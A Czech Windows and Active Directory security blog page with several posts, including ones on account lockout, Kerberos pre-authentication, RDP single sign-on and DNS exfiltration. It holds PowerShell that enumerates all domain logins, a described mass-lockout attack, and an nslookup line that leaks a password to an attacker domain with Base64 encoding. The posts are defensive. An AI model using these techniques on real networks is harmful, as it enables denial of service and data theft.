Skip Ribbon Commands
Skip to main content

Ondrej Sevecek's Blog

:

Engineering and troubleshooting by Directory Master!
Ondrej Sevecek's Blog > default
září 04
Náhodné loginy jako zajímavý koncept bezpečnosti

Nedávno jsem zjistil, že jeden zákazník používá pro svoje uživatele náhodné loginy, které nemají nic společného ani s konkrétní osobou, ale ani to není například číslo zaměstnance apod. Nikdy mě to nenapadlo, ale je to velmi bezpečnostně zajímavý koncept.

ISO 2700x (konkrétně ISO 27002, což je ta norma, která vůbec stanovuje co konkrétně můžete implementovat) doporučuje podle kontrolního mechanismu 9.4.2 - Secure log-on procedures, že A good log-on procedure should not provide help messages during the log-on procedure that would aid an unauthorized user.

Toho se většinou dosahuje poměrně známou bezpečnostní politikou (security policy) Interactive logon: do not display last user name.

Důvod je asi jasný. Pokud někdo nezná ani můj login, nemůže zkoušet hesla. Bez ohledu na kvalitu hesla, při znalosti loginu se budou dát hesla zkoušet. To mnohdy vede k jejich zamykání - což je třeba jedno dost podstatné riziko od bývalých znechucených zaměstnanců, které jsem tu popisoval minule.

Ona ta politika není zase až tak všespásná. V tom minulém článku jsou také demonstrační skripty, které by měly ukázat, že to chrání opravdu jen proti totálním anonymním outsiderům - tedy uklízečkám, dodavatelům apod, kteří nemají ve vašem prostředí žádný, alespoň omezený účet. Jinak seznam loginů si může z Active Directory (AD) vypsat libovolný authenticated users - přes LDAP ve výchozím nastavení a přes SAM interface vždycky.

Takže jsem ji nepovažoval jako moc zásadní, protože proti vnitřním zaměstnancům nechrání vůbec.

Ale to jen do okamžiku, kdy nemáte náhodné loginy. Pokud má člověk totálně nic neříkající a nespárovatelný login, má to docela smysl. Pokud není vidět login na přihlašovací, nebo zamykací obrazovce, dokonce i kolegové ze stejného open-space budou mít problém zjistit, jaký mají ostatní přihlašovací jména. Samozřejmě pořád platí, že ve výchozím stavu může authenticated users číst opravdu hodně LDAP atributů, takže to spárování může jít provést přes tyto ostatní informace - ale to už se dá změnit a zabezpečit ručně.

Takže je to samo o sobě docela zajímavý nápad.

září 03
List všech properties dohloubky

Zrovna včera jsem v PowerShell potřeboval najít jednu Property. Věděl jsem její jméno, měl jsem jeden root objekt. V mém případě se jednalo o TMG objekt (fpc.root) a šlo mi o to, najít property UseLegacyErrorPagesDirectory, kterou se přepínají error pages z původní RTM verze na SP2 verzi. Tyhle informace jsem zjistil z change tracking, to je ok. Jenže kde ta property je, ve kterém objektu? Uvnitř TMG objektu je hromada property, žádná z nich to není. Většina těch properties jsou hlubší objekty. A mají další hlubší podobjekty. A někde tam to je.

Tak jsem si napsal prográmek. Dáte mu jeden objekt a on "rekurzivně" projede všechny property do hloubky. Projede samozřejmě jenom ty, které nejsou $null, ale to v daném problému nevadí.

Připadlo mě to jako zajímavý problém, protože to vyžaduje rekurzi a já jsem ji chtěl udělat bez rekurze, jen pomocí ArrayList seznamu. Navíc je to zajímavá ukázka, protože nemůžete ten seznam projíždět foreach cyklem, protože budete měnit jeho obsah uvnitř toho cyklu a to se nesmí.

function global:Get-MemberMap ([object] $startObj)
{
  [Collections.ArrayList] $propertyMap = @()

  $maxLevel = 4
  [Collections.ArrayList] $objectsToProcess = @()
  [void] $objectsToProcess.Add(@('', 0, $tmg))  

  while ($objectsToProcess.Count -gt 0) {

    $oneObjPath = $objectsToProcess[0][0]
    $oneObjLevel = $objectsToProcess[0][1]
    $oneObj = $objectsToProcess[0][2]
    $objectsToProcess.RemoveAt(0)

    $properties = gm -i $oneObj -memb Property -EA SilentlyContinue | Select -Expand Name
    $error.Clear()

    foreach ($oneProperty in $properties) {

      if (($oneProperty -ne '') -and ($oneProperty -ne $null)) {

        $onePropertyPath = '{0}.{1}' -f $oneObjPath, $oneProperty
        [void] $propertyMap.Add($onePropertyPath)

        [void] $objectsToProcess.Add(@($onePropertyPath, ($oneObjLevel + 1), $oneObj.$oneProperty))
      }
    }

    if ($oneObjLevel -eq $maxLevel) {

      break
    }
  }

  return $propertyMap
}

A nakonec to bylo až tady .ArrayPolicy.WebProxy.UseLegacyErrorPagesDirectory.

srpen 27
Zamykání účtů při vzdáleném přístupu

Tak to se roztrhl pytel. Za poslední dva roky jsem řešil už tři konkrétní případy, kdy nějaký naštvaný/vyhozený zaměstnanec způsoboval firmě poměrně zásadní problém. A přitom mu to nedokážete a navíc to jde hodně špatně omezit.

Scénář pro lidi, co chtějí pičovat

Jste zaměstnanci. Někdo vás naštve a případně i vyhodí. Jste z povahy pičingeři. Co uděláte?

Buď s tím počítáte už dopředu, nebo to ještě stihnete připravit, než vám seberou přístup. Jediné co potřebujete je zjistit seznam všech loginů. Seznam všech doménových loginů může ve výchozím stavu získat libovolný ověřený uživatel. Stačí úplně obyčejný účet. Dokonce stačí, když máte lokální účet na nějakém doménovém počítači. Různé metody zjištění seznamu účtů ze stanice následují. Tohle externista neudělá, musí to být útočník s interním přístupem:

gwmi -query ('SELECT * FROM Win32_UserAccount WHERE Domain <> "{0}"' -f [Environment]::MachineName)

A tohle funguje i v případě, že jste pouhými lokálními uživateli na libovolném doménovém počítači:

function global:Get-PrimaryDomainSID ()
{
  # Note: this script obtains SID of the primary AD domain for the local computer. It works both
  #       if the local computer is a domain member (DomainRole = 1 or DomainRole = 3)
  #       or if the local computer is a domain controller (DomainRole = 4 or DomainRole = 4).
  #       The code works even under local user account and does not require calling user
  #       to be domain account. This should also work on any AD domain regardless of language
  #       mutation because, hopefully, the krbtgt account has always the same name

  [string] $domainSID = $null

  [int] $domainRole = gwmi Win32_ComputerSystem | Select -Expand DomainRole
  [bool] $isDomainMember = ($domainRole -ne 0) -and ($domainRole -ne 2)

  if ($isDomainMember) {

    [string] $domain = gwmi Win32_ComputerSystem | Select -Expand Domain
    [string] $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value
    $domainSID = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))
  }

  return $domainSID
}


$domainSID = Get-PrimaryDomainSID

(500..10000) | % { 

  $user = New-Object Security.Principal.SecurityIdentifier $domainSID-$_
  $errorActionPreference = 'SilentlyContinue'
  $user.Translate([Type]::GetType('System.Security.Principal.NTAccount')).Value
  $errorActionPreference = 'Continue'
}

Pokud ten parchant získal seznam všech loginů z Active Directory, může začít otravovat.

Nejhorší metoda je pozamykat všechny AD účty z internetu

Představte si, že si udělá skript, který spustí na svém počítači někde v internetu. Samozřejmě to udělá někde v KFC, nebo v kavárně a podobně. Pokaždé na jiné, totálně anonymní IP adrese. A bude to dělat jednou za čas, když si ta svině někdy vzpomene, jakou mu kdo v bývalé práci udělal bolístku.

Skript se pokusí připojit na nějakou vaši službu s venkovním přístupem. Například VPN, nebo podstatně hůře nějaký web - SharePoint, nebo KDC proxy, nebo Exchange, nebo RD Gateway (viz. například můj nedávný článeček). To všechno vyžaduje AD ověření. A prostě vyzkouší několik náhodných hesel pro každý účet. Ne moc. Stačí tolik, aby se ten účet zamknul. Není vůbec cílem ta hesla prolomit.

Proti tomu skoro není obrana. Když se to stane poprvé, všechny účty odemknete a zakážete tu jednu IP adresu. A za pár dnů to máte znovu z jiné IP adresy. A pak zase. Můžete také změnit lidem loginy :-( A útočník se směje, protože taková akce bude trvat pár sekund i vůči tisícům účtů.

Nejhorší je, že to funguje na všechny účty, i když tu VPN má povoleno jen několik lidí. Protože ověřit uživatele musíte dříve, než se zjistí, že se na VPN nedostane. Takže ty pokusy o přihlášení se v každém případě proženou do AD na každý zkoušený účet. Takže všechny účty, a když říkám všechny, tak samozřejmě myslím i účty servisní a účty správců - kromě built-in administrator účtu (ten co má SID koncovku -500).

Hrůza.

Řešení pomocí přihlašování certifikátem, ideálně čipovou kartou

Optimální řešení je samozřejmě mít veškerá vnější připojení pomocí certifikátu, ještě lépe rovnou používat čipové karty (smart card). Útočník certifikát nefejkne.

Jenže kdo to má, že přátelé?

Částečné řešení pro RRAS VPN

Pokud máte RRAS (Remote Access Services) VPN a váš NPS server běží alespoň na Windows 2008 nebo je novější, můžete použít NPS account lockout. O co jde? V podstatě na NPS RADIUS serveru nastavíte zamykání účtů po menším počtu pokusů, než je nastaveno na Active Directory. Dělá se to pomocí registrového klíče:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess\Parameters\AccountLockout

a registrových hodnot MaxDenials a ResetTime (mins) - viz. ten článek v odkazu.

Výsledek je, že útočník sice pozamyká všechny účty pro přístup přes VPN, ale už je nezamkne v AD. Ne že by to bylo moc velká úleva, ale pořád vám budou lidi pracovat alespoň vevnitř.

Těžko řešitelné webové služby

Podstatně větší problém je v případě, že máte Basic, nebo Windows Authentication na webovém serveru vystrčeném do internetu. Tam nevím o ničem, co by umělo takovýto snížený práh (threshold) zamykání udělat samo o sobě. To není případ jen normálního IIS web serveru, jako je SharePoint nebo Exchange. Takto se ověřujete také do RD Gateway, nebo i DirectAccess při KDC proxy bez certifikátů při čistém IPv6.

Navíc naskriptovat webového klienta s ověřením jsou tři řádky v PowerShell.

Jediné jednodušší řešení pro webové služby je WAP (Web Application Proxy) a AD FS 3.0, které máte na Windows 2012 R2. WAP je reverse HTTPS proxy (HTTPS publishing), která umí ověřovat uživatele ještě před vstupem na vnitřní web server. Ověřuje je pomocí AD FS (Active Directory Federation Services, ADFS).

A právě AD FS 3.0 dorazilo s novinkou zvanou AD FS Extranet Lockout. Je to stejné, jako v případě toho NPS account lockout. Pomocí cmdlet Set-AdfsProperties a tří parametrů EnableExtranetLockout, ExtranetLockoutThreshold a ExtranetObservationWindow nastavíte vcelku intuitivní hodnoty. Samozřejmě menší práh, než máte na Active Directory.

Jiné řešení mě napadlo vystrčit k danému webovému serveru do DMZ jenom jeho vlastní RODC. RODC samo také zamyká účty, i když je totálně odpojené. Sice nemůže mít vlastní nastavení jiného počtu špatných pokusů, ale můžete ho dopojit. Pokud je odpojené od zbytku zapisovatelných DC, tak se účet zamkne jenom lokálně na RODC samotném a už se to ale zpět nikdy nereplikuje. Máte taky možnost určit, které účty na něm vůbec budou.

Tzn. například jen jednou za den RODC připojujete do vnitřní sítě na několik minutek, aby se zreplikovalo. Po většinu dne je odpojené a slouží jenom jako ověřovací server, například pro RD Gateway. To se zvládne malinkým naplánovaným skriptíkem, který přenastavuje Windows Firewall na RODC pomocí NETSH a vyvolává AD replikaci pomocí REPADMIN. A přítom může mít nastavení takové, že se na RODC dostanete zevnitř, kvůli vzdálené správě.

Někde jsem četl, že někdo doporučoval k omezení tohoto typu útoku pro IIS novinku Windows 2012 zvanou Dynamic IP restrictions, ale to je v případě, že útočník je/byl internistou a má seznam všech skutečně existujících loginů, úplně k nepotřebě.

Závěr

Prostě nic příjemného. Pokud máte vnější přístup, ideálně používejte k ověřování certifikáty hned od začátku a zamyslete se nad tímto nepříjemným problémem.

Kurz na zabezpečení vzdáleného přístupu mám i v GOPASu jako GOC167.

srpen 26
Vypnutí Kerberos pre-authentication znamená, že se účty nezamykají

Dneska jsem si uvědomil zajímavou věc. Pokud ve vlastnostech účtu v Active Directory zapnete zaškrtávátko Do not require Kerberos preauthentication - tedy efektivně pro ten účet vypnete Kerberos pre-authentication, tak to potom znamená, že se daný účet nezamkne bez ohledu na počet špatných pokusů o zadání hesla. Nejenom, že se nezamkne, ale ani na řadičích domény (DC, domain controller) neuvidíte události failure audit pro account logon kategorii.

Co znamená Kerberos pre-authentication

Někdy se to vypíná kvůli různým linux-Kerberos integracím apod. Viděl jsem jednou kdysi, že to kdosi měl vypnuto na všech účtech.

Kerberos pre-authentication je ve skutečnosti možno považovat za skutečnou authentication :-) Domain controller (KDC) vydává Kerberos přihlašovací tikety (TGT ticket). Tyto tickety jsou zašifrovány heslem (odvozenina z heše ve skutečnosti) daného účtu, pro který se TGT vydává. Tedy uživatelovým heslem.

Výchozí nastavení AD účtů říká, že se pro vydání TGT vyžaduje preauthentication (v network monitoru se to projevuje stavovým kódem KDC_ERR_PREAUTH_REQUIRED - hodnota 25). To znamená, že KDC nevydá TGT jenom tak anonymně zadarmo komukoliv, ale musíte mu dokázat, že jste ten uživatel, jehož TGT chcete.

Znamená to, že k vydání TGT musí uživatel zaslat svým heslem zašifrované časové razítko (PA-ENC-TIMESTAMP). DC vydá TGT jenom pokud to heslo sedí a časové razítko je v povoleném časovém rozsahu, výchozí je známých +/- 5 minut.

Takže ve výchozím stavu, díky této pre-authentication - což je jak asi sami vidíte vlastně spíš normální authentication, tak to jak to člověk běžně chápe - má DC kontrolu, že vydává TGT jenom uživateli, který ho opravdu má právo dostat.

Pokud preauthentication vypnete, DC/KDC vydá TGT komukoliv anonymně a jeho heslo vůbec neověřuje.

Je to bez preauthentication nějaké bezpečnostní riziko?

Jakési ano. TGT je sice zašifrované uživatelovým heslem (pořád říkám heslo, ale myslím samozřejmě hash hesla, kterou má DC ve své AD databázi). Takže i když by se vydalo komukoliv anonymně, tak pokud ten "útočník" nezná heslo uživatele, je mu to TGT skoro na nic, protože si jeho obsah nepřečte a dále ho použít stejně nemůže.

Ale.

Jak jsem psal na začátku, není jak na DC vidět, nebo počítat pokusy o zkoušení špatného hesla. Ten účet se nikdy nezamkne. Jeho atributy badPasswordCount a badPasswordTime se nikdy nezmění. Anonymně je tedy možno dostat TGT zašifrované uživatelovým heslem, vzít si ho domů a tam ho offline krekovat. Pokud by heslo bylo slabé (typicky méně než 10-12 znaků), půjde to kreknout ve smysluplném čase při smysluplném hardware.

Další možností je dráždit DC velkým počtem takových požadavků a snažit se DOS útok. KDC bude muset při každém takovém (jde to i přes UDP) požadavku najít uživatelovu hash a zjistit jeho skupiny a vygenerovat TGT ticket. Takže ani to není úplně zanedbatelné.

Další problém mě napadl spíše provozní - při změne hesla takového účtu by mohly AD replikační prodlevy (replication latency) způsobovat ověřovací problémy tohoto účtu nebo služby.

Máte nějaké takové účty?

Zjistíte jednoduše. Je to bitová hodnota ADS_UF_DONT_REQUIRE_PREAUTH = 0x400000 = 4194304 v atributu userAccountControl. Takže přítel PowerShell:

dsquery * domainRoot -filter "(userAccountControl:1.2.840.113556.1.4.803:=4194304)"
nebo
Get-AdObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'

 

srpen 26
Hustý Lenovo support vs BitLocker

Tak Lenovo support je krutopřísný. Kamarád poslal svůj notebook na opravu, protože mu tam nějak blbnou USB porty. Odpověď ze servisu následuje:

"Dobrý den, dostali jsme dneska zprávu z servisu, že potřebuji heslo k BitLockeru pro další testy Vašeho zařízení. Prosím, pošlete mi heslo k BitLockeru."

Když kamarád řekl, že ne, tak oni řekli, že bude teda muset zaplatit práci, kterou mají borci s uvedením notebooku do továrního nastavení. No to mě teda...

Quality never goes out of style!

srpen 11
Pokračování včerejší cesty k Windows

Včerejší cesta k Windows vedla okolo tajemných dveří, za kterými číhaly nepředstavitelné věci! Co se asi stane, když ty dveře otevřete? Nechtěl jsem ani pomyslet...

Pokračoval jsem napjatě dál a objevil jsem ještě něco mnohem tajemnějšího...

Zkoušel jsem ty dveře otevřít, ale nešlo to. Zřejmě nemám dost síly, abych přemohl tlak jedné atmosféry. Budu muset ještě cvičit.

Pokračoval jsem dál a těšil se, že naleznu dveře se stavem beztíže. Bohužel se nepodařilo. Škoda. Snad někdy příště.

srpen 10
Cesta k Windows

Právě jsem dostal mapu k dnešní cestě na WUG (mám tam přednášku o RDP) a jak se zdá, cesta k Windows vede přes temný Red Hat plný loupeživých rytířů a jiné havěti:

Článek k přednášce zde.

Prezentace z podobné přednášky na GOPAS TechEd 2015 najdete zde.

A záznam z přednášky, pokud ho pánové z WUGu zveřejní, bude nejspíš dostupný zde.

srpen 07
Automatické přihlašování (SSO) pro RDP a RD GW a jeho zabezpečení

Článek se zabývá implementací Kerberos KDC proxy a SSO (single-sign-on) pro RDP vzdálenou tak, aby se nemuselo vůbec zadávat přihlašovací heslo a to jak na intranetu, tak i vzdáleně z internetu přes RD Gateway (RDG, dříve TS Gateway).

Na LAN intranetu funguje SSO i pro Windows 7, Windows Vista a novější, pokud máte RDP server Windows 2008 a novější. Z venku z internetu přes RD Gateway je možné zařídit SSO na Windows 7 jenom pro lokální účty (pokud máte na stanici stejný lokální účet jako na RDP serveru), ale už ne pro doménové. Novinka je ve Windows 8 a za předpokladu, že máte Windows 2012 RD gateway, kde je SSO pro všechny díky nové KDC proxy!

Ale začněme pomaleji na intranetu

Remote desktop (RDP, dříve Terminal Services) vyžaduje zaslat po uživateli plné přihlašovací údaje - tedy zejména plné heslo (samozřejmě pokud nepoužíváte RestrictedAdmin režim pro správce). To znamená, že RDP je vlastně něco jako basic authentication. Z toho důvodu se vás klient mstsc pokaždé ptá a uživatele pak láká hesla si ukládat na lokále:

Zadávání je otravné, ale ukládání je nebezpečné. Od Windows 7 jsou hesla uložena v operačním systému v tzv. credentials manageru (podobně jako v případě Internet Exploreru), tedy v plné formě, chráněná přihlašovacím heslem uživatele (ochrana pomocí DPAPI).

Problém je v tom, že po přihlášení si libovolná aplikace může toto heslo vytáhnout. Jestli si uživatelé spustí nějaký čmuchací prográmek, hesla vybere a pošle si je do internetu (o posílání věcí do internetu přes DNS můj nedávný článeček). Je tedy vhodné ukládání hesel úplně zakázat. Jenže tím zase uživatele nutíte je opakovaně zadávat. Zakázat se ukládání dá přes Group Policy (GPO), máte na to dvě položky:

Computer Configuration
  Policies
    Windows Settings
      Security Settings
        Local Policies
          Security Options
            Network access: Do not allow storage of passwords and credentials for network authentication
Computer Configuration
  Policies
    Administrative Templates
      Windows Components
        Remote Desktop Services
          Remote Desktop Connection Client
            Do not allow passwords to be saved

Časté zadávání přihlašovacích údajů je také nebezpečné, protože ho může někdo odpozorovat, zachytit keyloggerem a podobně. I norma ISO/IEC 27002 vám radí, že byste měli pro všechno implementovat SSO (single-sign-on) - tedy automatické přihlašování bez opětovného zadávání hesla.

RDP SSO na intranetu za pomocí Kerberos před-ověření serveru (NLA)

Možná jste si všimli, že na intranetu se identita RDP serveru mnohdy ověří pomocí Kerberos. Upozorňuji, že se jedná o identitu serveru, nikoliv o ověření uživatele. Jde o to, abyste věděli jistě s jakým serverem hovoříte, aby to plné heslo nešlo odposlouchávat. Tohle funguje od RDP serveru Windows 2008 a od klientů Windows Vista a Windows 7, pakliže jste v Active Directory doménovém prostředí.

Tomuhle před-ověření serveru se říká NLA (network level authentication) a je možné to dokonce vynutit na RDP serveru. Oproti starší metodě ověřování RDP Security Layer máte jistotu, s kým hovoříte a komu tedy posíláte svoje plnotextové heslo.

Pokud máte ověřenu identitu serveru, komunikační kanál je dostatečně zabezpečen, aby byl RDP client (mstsc) ochoten poslat vaše plné přihlašovací heslo na RDP server automaticky, aniž by se vás ptal. Vaše přihlašovací heslo je po celou dobu přihlášení v paměti LSASS procesu v plné formě. Pokud se to RDP clientovi a LSASS povolí pomocí Group Policy (GPO), budou ochotni to heslo vzít a poslat ho na RDP server.

Technologie se jmenuje credentials delegation, neboli CredSSP. Funguje taktéž od Windows 2008 a Windows 7 nebo Windows Vista. Povolit to musíte v Group Policy object v položce Computer Configuration - Policies - Administrative Templates - System - Credentials Delegation - Allow delegating default credentials takto:

V nastavení v obrázku je vidět, že musíte definovat Kerberos SPN pro TERMSRV službu. Můžete použít i hvězdičkovou konvenci. A vyjmenujete všechny RDP servery, do kterých by měli být mstsc klienti a jejich LSASS ochotni poslat plnotextové heslo uživatele. Výsledek ověříte ze stanice rovnou na první pohled - mělo by to hlásit your Windows logon credentials will be used to connect:

A samozřejmě nebudete muset nic dalšího zadávat.

Přístup na RDP Gateway z internetu a SSO

Z internetu budeme přistupovat do firmy přes RD Gateway (dříve TS Gateway) - tedy přes normální HTTPS tunel ve kterém prochází RDP komunikace přímo na RDP server. MSTSC client potom hovoří vlastně přímo s cílovým RDP serverem po normálním TCP 3389, ale celé je to tunelované v HTTPS mezi klientem a RD Gateway.

RDP gateway je normální HTTPS server, který potřebuje normální HTTPS/TLS serverový certifikát. V mém případě je samozřejmě důvěryhodný, lze mu ověřit CRL apod. Nastavení RD Gateway není v tomto článku podstatné, kromě kvality jejího certifikátu. Takže pouze screenshoty z certifikátu - normální parametry, takový certifkát potřebujete jen jeden, můžete si ho klidně koupit od nějaké veřejné autority (například StartSSL je nejlevnější a přitom důvěryhodná od cca roku 2008):

Subject: veřejné jméno dostupné z internetu
Enhanced Key Usage: Server Authentication (OID 1.3.6.1.5.5.7.3.1)
Key Usage:
    Key Encipherment pokud chcete používat RSA key exchange
    Digital Signature pokud chcete používate ECDH key agreement pro PFS (viz. můj článek https://www.sevecek.com/Lists/Posts/Post.aspx?ID=433)
Signature: SHA256 (od roku 2017 nebudou Windows přijímat SHA-1 signatury u koncových certifikátů)

Na klientovi je pouze podstatné, aby bylo možno i z internetu ověřit CRL - certificate revocation list, nebo OCSP. Tedy aktuální platnost certifikátu RD Gateway. Stačí certifikát vyexportovat do nějakého .CER souboru a z klientského počítače spustit z příkazové řádky následující:

certutil -urlfetch -verify certifikatRDgateway.cer

Na konci se musí objevit hláška leaf certificate revocation passed. Potom je certifikát v pořádku. A samozřejmě nesmíte vidět žádné žluté varování od mstsc klienta.

Pokud se na gateway připojíte bez problémů, tak už se s tím dále zabývat nemusíme a přesuneme se na problém s koncovým RDP serverem samotným.

Dále už nastává základní problém pro SSO, které jsme zkoušeli v předchozím kroku. To vyžadovalo ověřit identitu RDP serveru pomocí Kerberos. V případě klientů Windows 7 to nejde. K tomu bychom potřebovali RD Gateway alespoň na Windows 2012 a klienty Windows 8, kteří dohromady umí používat Kerberos Proxy - detaily dále.

RDP SSO přístup přes RD Gateway z internetu pro klienty už od Windows 7

Pokud nám z internetu nejede Kerberos, což z Windows 7 nejede :-) musíme identitu RDP serveru ověřit jinak. Certifikátem. Upozorňuji, že pro doménové účty budete muset heslo do RDP serveru zadávat vždy. SSO můžeme mít jen při lokálních účtech. Ale certifikát je ta správná cesta i pro novější Windows 8.

Použijeme k tomu opět certifikáty, které jsou alternativou NLA ke Kerberosu. Tentokrát ovšem trošku speciální certifikát pro RDP server. Zatímco certifikát pro RD Gateway jsme si mohli levně koupit, protože byl potřeba jen jeden, certifikáty pro RDP servery budeme potřebovat pro každý RDP server jiný. Ideálně si je tedy vydáme rovnou z naší vnitřní certifikační autority AD CS (Active Directory Certificate Services) zdarma. Následuje zrychlený návod.

V podstatě vytvoříme kopii výchozí šablony (certificate template) Web Server a změníme několik parametrů - zvláště se jedná o speciální EKU (Enhanced Key Usage, neboli Application Policy) s hodnotou OIDu Remote Desktop Authentication (1.3.6.1.4.1.311.54.1.2). Druhou věc, na kterou bych upozornil je jméno šablony. Šablona má vždy dvě jména. Windows 2008 mají chybu, že si ta jména pletou, takže je nastavte úplně stejná, bez mezer:

Subject: from AD - DNS name
Enhanced Key Usage: Remote Desktop Authentication (1.3.6.1.4.1.311.54.1.2)
Request handling Purpose: Signature and Encryption (musíme podporovat TLS 1.0 pro Windows 7 a Windows 2008 takže si nemůžeme dovolit jen Signature pro PFS)
Exportable private key: no
Cryptography provider: fungují oba, jak Legacy CSP, tak i novější KSP/CNG (viz. můj článeček o CNG neboli KSP podpoře, která je stále poměrně špatná)
Security: Domain Computers, Domain Controllers = Enroll

V tuto chvíli máte šablonu certifikátu pro Remote Desktop Authentication vypublikovanou na AD CS a počítače si podle ní mohou vyžádat certifikáty. Musíme je k tomu ale nějak přinutit. To se dosáhne přes Group Policy object (GPO). Jméno vaší nové šablony (v mém případě GOPASRDPServer) potřeba nastavit do položky Computer Configuration - Policies - Administrative Templates - Windows Components - Remote Desktop Services - Remote Desktop Session Host - Security - Server authentication certificate template.

Můžete současně vynutit také TLS a NLA (Network Level Authentication), takže budete mít jistotu, že se starší klienti bez TLS a NLA ani vůbec nepřipojí. Jedná se o politiky Require use of specific security layer for remote RDP connections a Require user authentication for remote connections by using Network Level Authentication.

Mohli byste, třeba v tom samém GPO, ještě vynutit ověření i na straně RDP klienta - Configure server authentication for client = Do not connect if authentication failed.

Na RDP serverech už potom jenom zaktualizujte politiku a případně restartujte službu Remote Desktop Configuration (sessionenv), která si certifikát sama vyžádá a nastaví pro RDP. Ověřit výsledek je jednoduché na Windows 2008, kde to uvidíte rovnou v konzoli Remote Desktop Session Host Configuration. Od Windows 2012 tohle GUI zmizelo a jediná cesta je podívat se do registrů na thumbprint (fingerprint, otisk) certifikátu:

HKLM\System\CurrentControlSet\Control\Terminal Services\WinStations
TemplateCertificate = REG_BINARY

Pokud takové spojení zkusíte z vnitřní LAN sítě napřímo, mělo by vám to psát, že identita serveru byla ověřena současně jak Kerberos, tak i certifikátem (musíte jenom zadávat dlouhé jméno serveru - FQDN - v mém případě něco jako gps-rdp.gopas.virtual).

Z internetu Kerberos nejede, proto jsme dělali tyto certifikáty. Z internetu přes RD Gateway ale musíte vidět, že se to certifikátem skutečně ověřilo! Na Windows 7 musíme zadávat přihlašovací údaje pro doménové účty, pro lokální nikoliv. V následujícím obrázku je jak nastavení klienta, tak i výsledný zámeček na přípojení, které je v pořádku. Všimněte si, že i přes RD Gateway klient vidí přímo certifikát koncového RDP serveru a kompletně mu musí věřit:

Nějaké další informace k RDP certifikátům například zde a zde.

Teď ještě budete na Windows 7 ale i Windows 8 a Windows 10 klientech dostávat hlášku The credentials that were used to connect did not work - the logon attempt failed. To je způsobeno tím, že klient se snaží udělat credentials delegation za pomoci prvotního Kerberos ověření a to samozřejmě z internetu nejde (SPNEGO neumí ve skutečnosti NTLM fallback, ale rozhoduje se jenom jednorázově). Kdybyste použili lokální účet, tak by to fungovalo už teď, protože by stačil certifikát, který je důvěryhodný.

Povolení SSO pro RD Gateway

V tuto chvíli jsme tedy ve stavu, kdy máme ověřenu kvalitu certifikátů. Dále už stačí jen zapnout SSO pro RD Gateway a rozjedou se alespoň lokální účty na Windows 7.

Povolit SSO pro RD Gateway se dělá opět pomocí Group Policy - tentokrát je to klientská politika - User configuration - Policies - Administrative templates - Windows Components - Remote desktop services - RD gateway - Set RD gateway authentication method: Use locally logged-on credentials:

Výsledkem je automatické použití přihlášených údajů (SSO) i pro RD gateway spojení. Tam to bude fungovat ok. Problém je, že pořád se to nechce prorazit zadarmo až do cílového RDP serveru.

Windows 8 a Windows 2012 Kerberos KDC proxy

Právě proto, aby bylo možné z internetu používat Kerberos, přidal Microsoft do Windows 2012 novou Kerberos proxy. Je to zase normální HTTPS tunel, zkrz který prochází Kerberos z internetového klienta. Pokud uděláte RD Gateway na Windows 2012, rovnou vám to tam samo tu Kerberos proxy zapne. Je to služba KDC proxy service (kpssvc), která zneužívá přímo HTTP.SYS v jádře a poslouchá si na TCP 443 HTTPS na URI /kdcproxy.

Protože SSL/TLS certifikát je tam nastavený společný pro IIS, RD Gateway i pro Kerberos/KDC proxy, tak na serveru nemusíte už nic dalšího řešit. Jediné řešení leží na klientovi.

Musíte si RDP připojení nakonfigurované v předchozích krocích uložit do souboru .RDP. To je normální textový soubor ve skutečnosti, takže ho můžete otevřít například v notepadu, nebo v čemkoliv jiném. A stačí v něm zpanout použití KDC proxy. Najdete v něm nejspíš klíč rdgiskdcproxy:i:0. Pokud tam není, tak ho tam přidejte. Ale hlavně upravte jeho hodnotu na 1. Tedy výsledek musí být rdgiskdcproxy:i:1.

Pokud už jste vevnitř, můžete klidně upravit pro větší bezpečnost ještě další tři klíče - authentication level:i:1 a negotiate security layer:i:0 a gatewaycredentialssource:i:2, ale to jsou věci, které jsme už nastavili přes Group Policy.

A je to

Poznámka na závěr

Podle toho pekelného návodu nahoře bych řekl, že se nejedná o single-sign-on, ale spíš o single-sajgon. Tak hodně štěstí.

srpen 06
Myslíte si, že vidíte všechno, co odchází do internetu?

Jste si jistí? Poslední hitovka je komunikace skrze firewally pomocí DNS. Inspektujete DNS? Ha? Já zde uvedu jenom tu nejjednodušší a nejtrapnější formu, na zbytek se přijďte podívat na Williho přednášku na konferenci HackerFest. Dneska jsem se zhrozil, jak brzo to už bude!!!

Jestli mají vaše firemní počítače alespoň nějaký, možná i omezený, přístup do internetu, tak to znamená, že mohou generovat DNS dotazy. Buď jim tuto službu je ochoten obstarat vnitřní DNS server, což pak znamená, že dokonce mohou dostat odpověď. Pokud jsou natolik blokovaní, že musí chodit do internetu přes proxy, pořád mohou generovat alespoň dotazy - když se pokusí přes proxy přistoupit na nějakou stránku, proxy sama si musí vygenerovat DNS dotaz, že?

No a to je celá věda.

Představte si, že si útočník koupí prostě nějakou stupidní doménu a pro ni si za pár korun zařídí někde svůj DNS server - stačí třeba Azure trialka. To je otázka pár minut a nějaké anonymní blesk peněženky.

Když potom chce odeslat nenápadně data z napadeného počítače do internetu, stačí vygenerovat DNS dotaz na nějaké neexistující jméno ze své domény. A do toho jména proště zakódovat data. U sebe na DNS serveru to nechá odmítnout jako neexistující a přitom si to odchytává a rekonstruuje.

Příkladem je dotaz na něco takového:

nslookup hesloTohoBlaznaJePwd123.nesmyslnyutocnikxx.cz

Pokud to nejde zadat do nslookup, stačí to napsat do prohlížeče a proxy už se zeptá za vás.

Pokud funguje přímá DNS metoda a nemusíte chodit přes HTTP proxy, může dokonce komunikace probíhat obousměrně, protože do DNS odpovědí je možno vložit mnoho dat - zvlášť dneska, když mohou být větší než 512 byte kvůli DNSSEC, což už všichni podporují.

Samozřejmě to rádi zakódujete, protože DNS jména mohou obsahovat jen písmena, čísla, pomlčku a tečku. Takže krásně použijete Base-64. V powershellu třeba takto:

[Convert]::ToBase64String(([Text.ASCIIEncoding]::ASCII.GetBytes('hesloTohoBlaznaJePwd123'))).Replace('=', '-').Replace('/', '.')

A je to venku :-)

Na to, jak to útočníci optimalizují na objem, zašifrování, kompresi, obousměrnou komunikaci, steganografii a jak se tomu alespoň trošku bránit se přijďte podívat na letošní HackerFest.

srpen 05
Pohled na politiku inspekce HTTPS (TLS) vůči zaměstnancům vs. "sledování"
